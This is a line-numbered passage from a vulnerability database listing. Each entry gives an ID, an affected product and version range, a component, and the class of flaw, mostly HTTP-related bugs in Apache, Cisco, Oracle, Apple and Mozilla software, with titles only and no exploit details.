10862| [95808] PRTG Network Monitor up to 16.2 HTTP XML REST Value Sensor 16.2.23.3077/3078 XML External Entity
10863| [95365] DiskBoss Enterprise HTTP GET memory corruption
10864| [95291] ZoneMinder 1.30.0 Apache httpd privilege escalation
10865| [95194] DiskBoss Enterprise 7.5.12 HTTP POST Request memory corruption
10866| [95120] Python HPACK Library up to 2.2.0 HTTP/2 HPACK Bomb denial of service
10867| [95119] Python Priority Library up to 1.1.x HTTP/2 CPU Exhaustion denial of service
10868| [95118] http-client up to 0.10 Environment Variable Proxy privilege escalation
10869| [95070] Pidgin MXIT Protocol HTTP Response Out-of-Bounds memory corruption
10870| [95033] DotClear up to 2.10.2 HTTP Host privilege escalation
10871| [94650] Siemens Desigo PX Web Module HTTPS Certificate Generation weak authentication
10872| [94635] Netgear WNR2000v3/WNR2000v4/WNR2000v5 uhttpd /apply.cgi memory corruption
10873| [94627] Apache HTTP Server up to 2.4.24 mod_auth_digest Crash denial of service
10874| [94626] Apache HTTP Server up to 2.4.24 mod_session_crypto Padding weak encryption
10875| [94625] Apache HTTP Server up to 2.4.24 Response Split privilege escalation
10876| [94167] Cisco IOS XR 6.1.1.BASE HTTP 2.0 Request Crash denial of service
10877| [94161] Cisco Web Security Appliance 9.0.1-162/9.1.1-074 HTTP URL Parser denial of service
10878| [93958] Apache HTTP Server up to 2.4.23 mod_http2 h2_stream.c denial of service
10879| [93903] Boa Webserver 0.92r HTTP GET send_redirect memory corruption
10880| [93879] IBM BigFix Remote Control up to 9.1.2 Broker Application HTTP Request denial of service
10881| [93740] Siemens SIMATIC S7-400 Session Cookie httponly privilege escalation
10882| [93714] Jaws CMS 1.1.1 Cookie httponly privilege escalation
10883| [93797] Apache Tomcat up to 6.0.47/7.0.72/8.0.38/8.5.6/9.0.0.M11 HTTP Split privilege escalation
10884| [93796] Apache Tomcat up to 8.5.6/9.0.0.M11 HTTP/2 Header Parser denial of service
10885| [93194] DokuWiki 2016-06-26a Media File Fetching /inc/HTTPClient.php HttpClient information disclosure
10886| [93021] IBM Security Guardium Database Activity Monitor up to 9.4/10.0.0.1 HTTP Request privilege escalation
10887| [93038] Mozilla Firefox up to 49.0.1 HTTP Cache information disclosure
10888| [93000] Cisco ASA 5.4.1.5/6.0/6.0.0.1 on 5500-X Firepower Detection Engine HTTP Restart denial of service
10889| [92936] Oracle E-Business Suite 12.1.3 HTTP Server information disclosure
10890| [92327] Drupal up to 8.1.9 HTTP Exception cross site scripting
10891| [92230] D-Link DWR-932B HTTP Service Default Admin Password privilege escalation
10892| [91831] Apache Jackrabbit up to 2.13.2 HTTP Header cross site request forgery
10893| [92128] Apple tvOS up to 9.x IOAcceleratorFamily Memory information disclosure
10894| [92110] Apple watchOS up to 2.x IOAcceleratorFamily Memory information disclosure
10895| [92080] Apple macOS up to 10.11 IOAcceleratorFamily memory corruption
10896| [92002] Apple iOS up to 10 IOAcceleratorFamily Memory information disclosure
10897| [91693] AVer Information EH6108H+ X9.03.24.00.07l HTTP Cookie Password weak encryption
10898| [91662] Pivotal Cloud Foundry Elastic Runtime up to 1.6.37/1.7.18 PHP Buildpack HTTP GET Request information disclosure
10899| [91661] Cisco Web Security Appliance up to 9.5.0-444 HTTP Request denial of service
10900| [91511] Cisco Hosted Collaboration Mediation Fulfillment up to 10.6(3) HTTP Request directory traversal
10901| [91489] Cisco SPA300/SPA500/SPA51x HTTP Request denial of service
10902| [91472] Cisco FireSIGHT/Firepower Management Center up to 6.0 Malware Detection HTTP Header Evasion privilege escalation
10903| [91045] CPython up to 2.7.9/3.4.3 HTTP Header HTTPConnectionputheader privilege escalation
10904| [90899] Cisco IP Phone 8800 11.0(1) HTTP Request denial of service
10905| [90923] ObiHai ObiPhone 1032/ObiPhone 1062 HTTP Header NULL Pointer Dereference denial of service
10906| [90920] ObiHai ObiPhone 1032/ObiPhone 1062 HTTP Digest Authentication Implementation weak authentication
10907| [90834] Cisco ASA 4.10.3.9/5.2.0/5.3.0.4/5.3.1/5.4.0 FirePOWER Services HTTP Request privilege escalation
10908| [90892] IBM WebSphere Application Server 7.0/8.0/8.5/8.5.5 HttpSessionIdReuse memory corruption
10909| [90586] Cisco RV180/RV180W HTTP Request privilege escalation
10910| [91303] Opera Web Browser HTTP/2 HEIST information disclosure
10911| [91302] Mozilla Firefox HTTP/2 HEIST information disclosure
10912| [91301] Microsoft Edge HTTP/2 HEIST information disclosure
10913| [91300] Microsoft Internet Explorer HTTP/2 HEIST information disclosure
10914| [91299] Google Chrome HTTP/2 HEIST information disclosure
10915| [91298] Apple Safari HTTP/2 HEIST information disclosure
10916| [91297] Opera Web Browser HTTPS HEIST information disclosure
10917| [91296] Mozilla Firefox HTTPS HEIST information disclosure
10918| [91295] Microsoft Edge HTTPS HEIST information disclosure
10919| [91294] Microsoft Internet Explorer HTTPS HEIST information disclosure
10920| [91293] Google Chrome HTTPS HEIST information disclosure
10921| [91292] Apple Safari HTTPS HEIST information disclosure
10922| [90374] Cisco FireSIGHT System Software 5.3.0/5.3.1/5.4.0/6.0/6.0.1 Snort Rule HTTP Header privilege escalation
10923| [90363] International Components for Unicode up to 57.1 common/uloc.cpp uloc_acceptLanguageFromHTTP memory corruption
10924| [90213] PHP up to 5.5.37/5.6.23/7.0.8 locale_methods.c locale_accept_from_http memory corruption
10925| [89910] Oracle HTTP Server 11.1.1.9/12.1.3.0 SSL/TLS Module information disclosure
10926| [89669] Apache HTTP Server up to 2.4.23 RFC 3875 Namespace Conflict Environment Variable Open Redirect
10927| [89668] Google Go up to 1.6 net/http Environment Variable Open Redirect
10928| [89143] Blue Coat PacketShaper up to 11.5.3.1 HTTPS Server information disclosure
10929| [88747] Apache HTTP Server 2.4.17/2.4.18 mod_http2 denial of service
10930| [88515] Cisco RV110W/RV215W HTTP Request memory corruption
10931| [88532] IBM TRIRIGA Application Platform up to 3.3.2.5/3.4.2.3/3.5.0.1 HTTP Response information disclosure
10932| [88516] Cisco Prime Infrastructure up to 3.1 HTTP Request Command privilege escalation
10933| [88333] IBM WebSphere Application Server 7.0/8.0/8.5/8.5.5 HTTP Response Splitting privilege escalation
10934| [91845] Pidgin up to 2.10.x HTTP Content-Length memory corruption
10935| [88051] H2O up to 1.7.2/2.0.0-beta4 HTTP2 Connection lib/http2/connection.c memory corruption
10936| [88036] Trend Micro Worry-Free Business Security 9.0 HTTP Header cross site scripting
10937| [88108] GNU wget up to 1.17 HTTP Redirect File privilege escalation
10938| [88667] Apache HTTP Server up to 2.4.20 mod_http2 Certificate weak authentication
10939| [87727] Cisco Prime Network Analysis Module up to 6.1/6.2 HTTP Request Command privilege escalation
10940| [87729] Lenovo Accelerator Application UserAgent spoofing
10941| [87716] Cisco Prime Network Analysis Module up to 6.1/6.2 HTTP Request Command privilege escalation
10942| [87584] WordPress up to 4.4.1 wp-includes/http.php wp_http_validate_url Server-Side Request Forgery
10943| [87549] Cisco Web Security Appliance up to 8.8 HTTP Response Code Memory denial of service
10944| [87548] Cisco Web Security Appliance up to 8.8 HTTP Length Request denial of service
10945| [87546] Cisco Web Security Appliance up to 8.5.3-055 HTTP POST Request denial of service
10946| [87407] PHP up to 5.4.43/5.5.27/5.6.11 ext/soap/php_http.c SoapClient::__call memory corruption
10947| [87133] Squid Proxy 3.5.17/4.0.9 HTTP Request privilege escalation
10948| [83737] HTTPS NIO Connector Socket Timeout denial of service
10949| [83741] ImageMagick up to 6.9.3-9/7.0.1 HTTP/FTP Coder cross site request forgery
10950| [82748] Ecava IntegraXor up to 5.0 HTTPOnly Cookie information disclosure
10951| [82747] Ecava IntegraXor up to 5.0 HTTP Header CRLF privilege escalation
10952| [82846] NetBSD up to 6.0.6/6.1.5/7.0 bozohttpd privilege escalation
10953| [82732] Cisco Wireless LAN Controller up to 8.0.x HTTP Request memory corruption
10954| [82731] Cisco AireOS up to 7.4.120.0/7.5.x/7.6.100.0 on WLC HTTP Request Reload denial of service
10955| [82607] Oracle HTTP Server 12.1.2.0 OSSL Module unknown vulnerability
10956| [82444] Apache Camel up to 2.14.x/2.15.4/2.16.0 HTTP Request privilege escalation
10957| [82395] Huawei S5300EI HTTPS/FTP Server Memory Leak denial of service
10958| [82327] Cisco Unified Computing System up to 1.3(1b) HTTP Request Command privilege escalation
10959| [82234] Microsoft Windows 10 HTTP.sys HTTP Request denial of service
10960| [82092] Trend Micro Password Manager Pro HTTP Server openUrlInDefaultBrowser privilege escalation
10961| [82052] Apache Ranger up to 0.4.x Policy Admin Tool HTTP Request cross site scripting
10962| [81880] SAP Java AS 7.4 Java Startup Framework jstart HTTP Request denial of service
10963| [81879] SAP Java AS 7.4 Internet Communication Manager HTTP Request denial of service
10964| [81707] Node.js up to 0.10.41/0.12.9/4.2.x/5.5.x HTTP Header Parser UTF-8 Encoding privilege escalation
10965| [81704] Node.js up to 0.10.41/0.12.9/4.2.x/5.5.x HTTP Header Content Smuggling privilege escalation
10966| [81696] Apache ActiveMQ up to 5.13.1 HTTP Header privilege escalation
10967| [81636] Cisco Prime Infrastructure up to 2.2.2 HTTP POST Request memory corruption
10968| [81626] Cisco TelePresence Server/Mobility Services Engine HTTP Memory Consumption denial of service
10969| [81565] Squid Proxy up to 3.5.15/4.0.7 HTTP Response denial of service
10970| [81563] Snort IDS up to 2.9.8.1 Malware Detection HTTP Header privilege escalation
10971| [81552] Cisco ASA/AMP/FirePOWER Malware Detection HTTP Header privilege escalation
10972| [81487] Apple iOS up to 9.2 HTTPProtocol memory corruption
10973| [81436] Apple Mac OS X up to 10.11.3 HTTPProtocol memory corruption
10974| [81358] Apple Software Update up to 2.1 on Windows HTTP weak encryption
10975| [81387] PHP 5.5.32 SOAP Request make_http_soap_request memory corruption
10976| [81316] Cisco DPC2203/EPC2203 r 1 Web Server HTTP Request memory corruption
10977| [81315] Cisco DPQ3925 r 1 Admin Interface HTTP Request Restart denial of service
10978| [81314] Cisco DPC3939/DPC3941 Admin Interface HTTPS Request information disclosure
10979| [81313] Cisco ASA 5500 up to 6.6 HTTPS Packet Memory Consumption denial of service
10980| [81189] Cisco Prime Infrastructure 3.0 Log View HTTP Request privilege escalation
10981| [81149] Cisco Web Security Appliance Web Proxy HTTPS Request denial of service
10982| [81146] Django 1.8.1/1.8.2/1.8.6/1.9 django.utils.http.is_safe_url cross site scripting
10983| [81137] phpMyAdmin up to 4.5.5.0 X.509 Certificate Validation Config.class.php checkHTTP information disclosure
10984| [81100] Wireshark 2.0.0/2.0.1 HTTP2 Dissector packet-http2.c denial of service
10985| [81111] Squid Proxy up to 4.0.6 HTTP Status Code http.cc denial of service
10986| [81110] Squid Proxy up to 3.5.14/4.0.6 Response http.cc denial of service
10987| [81108] Squid Proxy up to 3.5.14/4.0.6 HTTP Header denial of service
10988| [81132] Squid Proxy 3.5.13/4.0 HTTP Status Code http.cc denial of service
10989| [80756] Janrain PHP OpenID Library HTTP Host Header common.php privilege escalation
10990| [80739] KDDI Home Spot Cube 1 HTTP Header CRLF privilege escalation
10991| [80714] Privoxy up to 3.0.23 HTTP Host Header parsers.c client_host denial of service
10992| [80617] SAP HANA XS Engine HTTP Request Log privilege escalation
10993| [80616] SAP HANA XS Engine HTTP Request memory corruption
10994| [80615] CGit up to 0.11 HTTP Header authenticate_post memory corruption
10995| [80614] CGit up to 0.11 ui-shared.c cgit_print_http_headers cross site scripting
10996| [80611] Cisco Web Security Appliance 8.5.3-055/9.1.0-000/9.5.0-235 Proxy Engine HTTP Method privilege escalation
10997| [80577] Oracle Secure Global Desktop 4.63/4.71/5.2 Apache HTTP Server denial of service
10998| [80477] Oracle E-Business Suite 11.5.10.2 HTTP Server denial of service
10999| [80279] FFmpeg 2.x HTTP Live Stream M3U8 File Cross-Origin privilege escalation
11000| [80278] FFmpeg 2.x HTTP Live Stream M3U8 File Cross-Origin privilege escalation
11001| [80203] Prosody up to 0.9.8 mod_http_files File directory traversal
11002| [80199] nghttp2 up to 1.5.x Idle Stream Use-After-Free memory corruption
11003| [80196] Shell in a Box up to 2.18 HTTPS Fallback /plain privilege escalation
11004| [80175] IBM WebSphere Message Broker up to 7.0.0.7/8.0.0.5 HTTP Server information disclosure
11005| [79965] Mediabridge Medialink MWN-WAPR300N 5.07.50 HTTP Cookie privilege escalation
11006| [79958] OrientDB Server Community Edition up to 2.0.14/2.1.0 Studio OHttpSessionManager.java weak authentication
11007| [79893] eWON Device up to 10.1s0 HTTP GET Request information disclosure
11008| [79868] Cisco DPQ3925 HTTP Request information disclosure
11009| [79867] Cisco FireSIGHT Management Center HTTP Detection SSL Session privilege escalation
11010| [79830] Joomla CMS up to 1.5.x/2.x/3.4.5 HTTP Header PHP Code Execution privilege escalation
11011| [79813] Mozilla Firefox 42 HTTP/2 Frame Underflow denial of service
11012| [79812] Mozilla Firefox 42 HTTP/2 Frame Underflow denial of service
11013| [79594] Apple iOS up to 9.1 CFNetwork HTTPProtocol privilege escalation
11014| [79557] Apple Mac OS X up to 10.11.1 IOAcceleratorFamily memory corruption
11015| [79542] Apple Mac OS X up to 10.11.1 CFNetwork HTTPProtocol privilege escalation
11016| [79402] Ceph up to 0.94.3 Object Gateway HTTP Response Splitting privilege escalation
11017| [79399] Dell iDRAC6/iDRAC7/iDRAC8 HTTP cross site scripting
11018| [79398] Dell iDRAC6 HTTP privilege escalation
11019| [79280] Apple iOS up to 8.x CFNetwork HTTPProtocol information disclosure
11020| [79272] Exemys Telemetry Web Server HTTP Location Header privilege escalation
11021| [79074] IBM Security Access Manager For Web up to 7.0.0.15/8.0.1.2 WebSEAL HTTPTransformation Request File privilege escalation
11022| [78925] Allen-Bradley MicroLogix 1100/1400 HTTP Request memory corruption
11023| [78890] OpenStack Image Service up to 2014.2.3/2015.1.1 HTTP Header privilege escalation
11024| [78867] 3S-Smart CODESYS Gateway Server up to 2.3.9.47 HTTP Request GET Request/POST Request NULL Pointer Dereference denial of service
11025| [78861] IniNet embeddedWebServer up to 2.01 HTTP Request Stack-Based memory corruption
11026| [78842] Apple OS X Server up to 5.0.14 HTTP Header Configuration privilege escalation
11027| [78818] Apple Mac OS X up to 10.11.0 IOAcceleratorFamily memory corruption
11028| [78753] Apple iOS up to 9.0 IOAcceleratorFamily memory corruption
11029| [78578] Oracle Fusion Middleware 11.1.1.9 HTTP Server denial of service
11030| [78577] Oracle Fusion Middleware 10.1.3.5/11.1.1.7/11.1.1.9/12.1.2.0/12.1.3.0 HTTP Server denial of service
11031| [78571] Oracle Fusion Middleware 11.1.1.7/12.1.2.0/12.1.3.0 HTTP Server denial of service
11032| [78565] Oracle Fusion Middleware 10.1.3.5/11.1.1.7/11.1.1.9/12.1.2.0/12.1.3.0 HTTP Server denial of service
11033| [78876] Red Hat JBoss Enterprise Application Platform up to 6.4.3 HTTP Management Interface Large Header Memory Exhaustion privilege escalation
11034| [78389] Microsoft Edge HTTP Response cross site scripting
11035| [78297] Apache Commons Components HttpClient up to 4.3.5 HTTPS Timeout denial of service
11036| [78164] Google Android up to 5.1.0 BpMediaHTTPConnection IMediaHTTPConnection.cpp readAt memory corruption
11037| [78145] TIBCO Managed File Transfer Internet Server up to 7.2.4 HTTP Request information disclosure
11038| [78104] Apple Watch up to 1.0.2 IOAcceleratorFamily Kernel Memory information disclosure
11039| [77987] amoCRM Module up to 7.x-1.1 on Drupal HTTP POST Request cross site scripting
11040| [77976] Securifi Almond HTTP Header Clickjacking spoofing
11041| [77785] Apple iOS up to 8.4.1 IOAcceleratorFamily Kernel Memory information disclosure
11042| [77726] WP Limit Login Attempts Plugin up to 2.0.0 on WordPress HTTP Header wp-limit-login-attempts.php getip sql injection
11043| [77703] Asus TM-AC1900 Router HTTP Header Stack-Based memory corruption
11044| [77659] Cisco Email Security Appliance 7.6.0/8.0.0 HTTP Request memory corruption
11045| [77557] MyBB up to 1.8.4 Quick Edit xmlhttp.php edit cross site scripting
11046| [77493] Softing PROFIBUS Single Channel FG-x00-PB_V2.02.0.00 cgi-bin/CFGhttp/ cross site scripting
11047| [77492] OkCupid OK Web Server 404 Error Message libahttp/err.c cross site scripting
11048| [77356] Cisco TelePresence Video Communication Server X8.5.2 HTTP Request Command privilege escalation
11049| [77342] Cisco TelePresence Video Communication Server X8.5.2 HTTP Request privilege escalation
11050| [77298] HTTP Strict Transport Security Module up to 6.x-1.0/7.x-1.1 on Drupal Subdomain weak encryption
11051| [77263] VideoLAN VLC Media Player up to 2.1.x network/httpd.c httpd_HtmlError cross site scripting
11052| [77261] Cisco FireSIGHT Management Center 5.3.1.4 HTTP POST Request denial of service
11053| [77075] Mozilla Firefox 39 XMLHttpRequest::Open memory corruption
11054| [77656] IBM HTTP Server 6.1/7.0/8.0/8.5/8.5.5 Stack-Based memory corruption
11055| [76737] Cisco Prime Collaboration 10.0 HTTP Request Outage denial of service
11056| [76726] Siemens SICAM MIC up to 2403 HTTP Request weak authentication
11057| [76733] Apache HTTP Server 2.4.7/2.4.8/2.4.9/2.4.10/2.4.12 ap_some_auth_required unknown vulnerability
11058| [76732] Apache HTTP Server 2.4.7/2.4.8/2.4.9/2.4.10/2.4.12 Request apr_brigade_flatten privilege escalation
11059| [76731] Apache HTTP Server 2.4.12 ErrorDocument 400 Crash denial of service
11060| [76221] Apple Mac OS X 10.9.5/10.10/10.10.1/10.10.2/10.10.3 IOAcceleratorFamily memory corruption
11061| [76220] Apple Mac OS X 10.9.5/10.10/10.10.1/10.10.2/10.10.3 IOAcceleratorFamily memory corruption
11062| [76131] IBM WebSphere Commerce up to 6.0.0.11/7.0.0.8 HTTP Header privilege escalation
11063| [76065] Async Http Client up to 1.8.x X.509 Certificate Validator AsyncHttpClientConfig.java spoofing
11064| [76064] Async Http Client up to 1.8.x X.509 Certificate Validator spoofing
11065| [76043] cURL/libcURL up to 7.42.1 HTTP Basic Authentication Credentials information disclosure
11066| [76028] Cisco Web Security Appliance 8.5.0-497 HTTP Header cross site scripting
11067| [75864] Cisco FireSIGHT System Software 5.3.1.1 HTTP Request cross site scripting
11068| [75723] Cisco TelePresence up to 6.3.3/7.3.2 on Integrator C SX20 CRLF HTTP Response Splitting privilege escalation
11069| [75620] Cisco Conductor for Videoscape/Headend System Release 3.0 HTTP Cookie privilege escalation
11070| [75609] Wavelink ConnectPro TermProxy Service WLTermProxyService.exe HTTP Header memory corruption
11071| [75608] Wavelink Terminal Emulation License Server LicenseServer.exe HTTP Header memory corruption
11072| [75579] lighttpd 1.4.35 Log File mod_mysql_vhost.c privilege escalation
11073| [75566] lighttpd 1.4.35 Log File http_auth.c information disclosure
11074| [75548] HP Network Virtualization 8.61/11.52 HttpServlet/NetworkEditorController File privilege escalation
11075| [75455] Apple Watch OS 1.0 IOAcceleratorFamily privilege escalation
11076| [75392] Cisco Security Manager 4.7(0)SP1(1) HTTP Module cross site scripting
11077| [75206] Cisco UCS Central Software up to 1.2 HTTP Request privilege escalation
11078| [75176] Samsung Security Manager up to 1.30 HTTP Request privilege escalation
11079| [75174] cURL/libcURL up to 7.42.0 HTTP Header Proxy information disclosure
11080| [75163] Cisco StarOS 12.0/12.2(300)/14.0/14.0(600) on ASR 5000 HTTP Reload denial of service
11081| [75116] TVMOBiLi up to 2.1.0.3973 HTTP Request HttpUtils.dll memory corruption
11082| [75135] PHP 5.4/5.5 HTTP Request sapi_apache2.c apache2handler privilege escalation
11083| [74994] Lenovo ThinkServer System Manager up to 1.27.73475 Authentication HTTP Request Handler Crash denial of service
11084| [74833] Microsoft Windows 7 SP1/8/8.1/Server 2012/Server 2012 R2 HTTP Request HTTP.sys privilege escalation
11085| [74764] Apple iOS up to 8.2 IOAcceleratorFamily Kernel Memory information disclosure
11086| [74714] Apple MacOS X up to 10.10.2 CFNetwork HTTPProtocol Cookie privilege escalation
11087| [74651] Red Hat Docker up to 1.5.0 HTTPS Connection weak encryption
11088| [74657] Mozilla Firefox up to 37.0.0 HTTP/2 Alt-Svc Header weak authentication
11089| [74481] Django up to 1.6.8 Javascript utilshttpis_safe_url cross site scripting
11090| [74017] Citrix Netscaler 10.5 HTTP Header privilege escalation
11091| [74367] Apache HTTP Server up to 2.4.12 mod_lua lua_request.c wsupgrade denial of service
11092| [69235] Jetty httpd up to 9.2.8 HttpParser Memory information disclosure
11093| [69217] Mozilla Firefox 35 XMLHttpRequest Calls memory corruption
11094| [69198] Squid Proxy 3.1.9 HTTP Header Injection cross site scripting
11095| [74152] Acme Mini HTTPd up to 1.21 Protocol Out-of-Bounds information disclosure
11096| [69092] Apache Tomcat up to 6.0.42/7.0.54/8.0.8 HTTP Request Smuggling privilege escalation
11097| [69028] Cisco Unified IP Phone 9900 9.3(4.24) HTTP Request File Upload privilege escalation
11098| [73818] IBM WebSphere Message Broker up to 8.0.0.4 HTTPInput Node information disclosure
11099| [68929] Apple iOS up to 8.1.2 IOAcceleratorFamily memory corruption
11100| [68884] Apple Mac OS X 10.8.5/10.9.5/10.10/10.10.1 IOAcceleratorFamily NULL Pointer Dereference memory corruption
11101| [69014] libcURL 7.30.0/7.31.0 HTTP Proxy cross site request forgery
11102| [68677] Oracle HTTP Server 11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener denial of service
11103| [68676] Oracle HTTP Server 11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener denial of service
11104| [68675] Oracle HTTP Server 11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener parser.c xmlParserHandlePEReference denial of service
11105| [68668] Oracle HTTP Server 10.1.3.5.0/11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener cross site request forgery
11106| [68667] Oracle HTTP Server 10.1.3.5.0/11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener denial of service
11107| [68666] Oracle HTTP Server 10.1.3.5.0/11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener denial of service
11108| [68665] Oracle HTTP Server 11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener denial of service
11109| [68659] Oracle HTTP Server 11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener memory corruption
11110| [68658] Oracle HTTP Server 10.1.3.5.0/11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener mod_status.c lua_ap_scoreboard_worker memory corruption
11111| [68650] Oracle HTTP Server 11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener memory corruption
11112| [68970] Django up to 1.7.2 django.util.http.is_safe_url cross site scripting
11113| [68522] Cisco Secure Access Control Server 5.5/5.6 HTTP privilege escalation
11114| [73356] Cisco Meraki HTTP unknown vulnerability
11115| [73354] Cisco Meraki HTTP privilege escalation
11116| [73353] Cisco Meraki HTTP unknown vulnerability
11117| [73211] ULTRAPOP i-HTTPD cross site scripting
11118| [73210] ULTRAPOP i-HTTPD cross site scripting
11119| [73209] ULTRAPOP i-HTTPD cross site scripting
11120| [73208] ULTRAPOP i-HTTPD Server Side Includes privilege escalation
11121| [68309] Mozilla Firefox 31.2/33.0 XMLHttpRequest Crash denial of service
11122| [68575] Apache HTTP Server up to 2.4.10 LuaAuthzProvider mod_lua.c privilege escalation
11123| [68565] WordPress up to 4.0 wp-includes/http.php privilege escalation
11124| [68435] Apache HTTP Server 2.4.10 mod_proxy_fcgi.c handle_headers denial of service
11125| [68198] F5 BIG-IP 10.2.1 HTTP POST Request properties.jsp directory traversal
11126| [68128] cURL/libcURL 7.20.0/7.21.0/7.31.0 HTTP POST curl_easy_duphandle information disclosure
11127| [68100] Linksys EA up to 2.0.14294 SMART WiFi Firmware HTTP POST Request information disclosure
11128| [68077] BSD FTP Client HTTP Redirect privilege escalation
11129| [68088] McAfee Network Data Loss Prevention 8.6/9.2.0/9.2.1 HTTP Cookie httponly information disclosure
11130| [68007] Apple Mac OS X up to 10.9.3 IOAcceleratorFamily NULL Pointer Dereference denial of service
11131| [67799] Mozilla Firefox 30.0/31.0/31.1.0/32.0 SPDY/HTTP2 privilege escalation
11132| [67798] Mozilla Firefox 30.0/31.0/31.1.0/32.0 SPDY/HTTP2 privilege escalation
11133| [68050] Splunk Enterprise up to 5.0.9 HTTP Referer Header cross site scripting
11134| [71913] Rejetto HTTP File Server up to 2.3c memory corruption
11135| [71861] Rejetto HTTP File Server up to 2.x parserLib.pas findMacroMarker unknown vulnerability
11136| [67739] Tenable Nessus 2.3.3 HTTP Header cross site scripting
11137| [71693] HAProxy 1.5.0/1.5.1/1.5.2/1.5.3 proto_http.c http_request_forward_body memory corruption
11138| [67680] Debian apt 1.0.1 HTTP Transport Code memory corruption
11139| [67649] Apple Mac OS X up to 10.9.4 IOAcceleratorFamily memory corruption
11140| [67648] Apple Mac OS X up to 10.9.4 IOAcceleratorFamily memory corruption
11141| [67578] Apple iOS up to 7.1.2 IOAcceleratorFamily denial of service
11142| [67577] Apple iOS up to 7.1.2 IOAcceleratorFamily denial of service
11143| [71220] Miniupnpd 1.9 miniwget.c getHTTPResponse denial of service
11144| [67790] Apache HTTP Server mod_cache NULL Pointer Dereference denial of service
11145| [70806] Apache Commons-httpclient 4.2/4.2.1/4.2.2 spoofing
11146| [70748] Monkey HTTP Daemon up to 0.9.0 denial of service
11147| [70449] ACME Micro Httpd memory corruption
11148| [67212] NetBSD 5.1/5.2/6.0/6.1 bozohttpd snprintf information disclosure
11149| [67172] Cisco DPC3010/DPC3212/EPC3010/EPC3212 HTTP Request memory corruption
11150| [67086] Oracle HTTP Server 11.1.1.7.0/12.1.2.0 Plugin 1.1 information disclosure
11151| [67085] Oracle HTTP Server 11.1.1.7.0/12.1.2.0 Plugin 1.1 unknown vulnerability
11152| [67183] Apache HTTP Server up to 2.4.9 mod_proxy denial of service
11153| [67180] Apache HTTP Server up to 2.4.9 WinNT MPM Memory Leak denial of service
11154| [67185] Apache HTTP Server up to 2.4.9 mod_status Heap-Based memory corruption
11155| [67184] Apache HTTP Server 2.4.5/2.4.6 mod_cache NULL Pointer Dereference denial of service
11156| [67182] Apache HTTP Server up to 2.4.9 mod_deflate Memory Consumption denial of service
11157| [67181] Apache HTTP Server up to 2.4.9 mod_cgid denial of service
11158| [66971] Apple Mac OS X up to 10.9.2 IOAcceleratorFamily memory corruption
11159| [70036] Monkey HTTP Daemon mk_request.c mk_request_header_process memory corruption
11160| [70034] Monkey HTTP Daemon Access Restriction unknown vulnerability
11161| [70033] Monkey HTTP Daemon denial of service
11162| [13595] TP-LINK TD-8817/TD-8840G/TD-W8101G/TD-W8901G 3.11.2 HTTP POST /Forms/tools_test_1 denial of service
11163| [13469] Solarwinds Serv-U FTP Server 15.0.1.20 HTTPS Listener weak encryption
11164| [13341] TYPO3 up to 4.5.33/4.7.18/6.0.13/6.1.8/6.2.2 HTTP Header Host Header spoofing
11165| [13334] Cisco TelePresence System up to 6.0.5.5 HTTPS weak encryption
11166| [13300] Apache HTTP Server 2.4.1/2.4.2 mod_wsgi setuid privilege escalation
11167| [13299] Apache HTTP Server 2.4.1/2.4.2 mod_wsgi Content-Type Header information disclosure
11168| [13240] Django up to 1.7 Redirect django.util.http.is_safe_url privilege escalation
11169| [13214] Cisco IOS 15.3(3)M ScanSafe HTTPS Traffic denial of service
11170| [13589] Digium Asterisk 1.8.15/11.6 HTTPS Connection denial of service
11171| [13153] Cisco ASA 9.1(1) HTTP Server information disclosure
11172| [69449] Cisco ios up to 15.1 HTTP Service denial of service
11173| [13044] Apple iOS up to 7.1 CFNetwork HTTPProtocol information disclosure
11174| [13029] Apple Mac OS X up to 10.7.5/10.8.5/10.9.2 CFNetwork HTTPProtocol information disclosure
11175| [12893] Oracle Containers for J2EE 10.1.3.5 HTTP Request unknown vulnerability
11176| [12892] Oracle Containers for J2EE 10.1.3.5 HTTP Request unknown vulnerability
11177| [12884] Oracle Containers for J2EE 10.1.3.5 HTTP Request unknown vulnerability
11178| [12863] Cisco ASA up to 9.1 SIP HTTP POST Request denial of service
11179| [12862] Cisco ASA up to 9.1 SSL VPN Authentication HTTP POST Request weak authentication
11180| [12832] Cisco ONS 15454 HTTP URI denial of service
11181| [12787] lighttpd denial of service
11182| [12784] Cisco Security Manager 4.2 HTTP Header Open Redirect
11183| [12741] Trustwave ModSecurity up to 2.7.6 Chunked HTTP Transfer apache2/modsecurity.c modsecurity_tx_init Trailing Header privilege escalation
11184| [13384] Apache Tomcat up to 6.0.39/7.0.53/8.0.5 Chunked HTTP Request denial of service
11185| [12704] Cisco IOS 15.1/15.2/15.3/15.4 SSL VPN HTTP denial of service
11186| [13580] Check Point Firewall R77/R77.10 HTTPS URL denial of service
11187| [12667] Apache HTTP Server 2.4.7 mod_log_config.c log_cookie denial of service
11188| [66689] Apache HTTP Server up to 2.0.33 mod_dav dav_xml_get_cdata denial of service
11189| [12691] VideoLAN VLC Media Player up to 2.1.3 src/network/httpd.c GET Request cross site scripting
11190| [12672] Cisco WebEx Meeting Center HTTP GET information disclosure
11191| [66642] lighttpd up to 1.4.34 mod_evhost directory traversal
11192| [12614] lighttpd 1.4.34 mod_evhost/mod_simple_vhost directory traversal
11193| [12613] lighttpd up to 1.4.34 MySQL Virtual Hosting Module mod_mysql_vhost.c sql injection
11194| [12641] Digium Asterisk 12.0.0 Cookie main/http.c memory corruption
11195| [12518] Apache Tomcat up to 6.0.38/7.0.49/8.0.0-RC9 HTTP Header denial of service
11196| [12785] Barracuda Backup up to 4.3.06/5.1.00 External Backup Module HTTP POST Request cross site scripting
11197| [12457] HP Service Manager 9.30/9.31/9.32/9.33 HTTP Request cross site request forgery
11198| [12387] Fortinet FortiWeb 5.0.2 HTTP Header cross site scripting
11199| [12271] Microsoft .NET Framework up to 4.5.1 HTTP POST denial of service
11200| [12144] IBM InfoSphere 9.0/9.1/10.0/10.1/11.0 HTTP Request cross site request forgery
11201| [12119] Pidgin 2.10.7 HTTP Response Negative Value memory corruption
11202| [12117] Pidgin up to 2.10.7 Gadu-Gadu HTTP Response Integer memory corruption
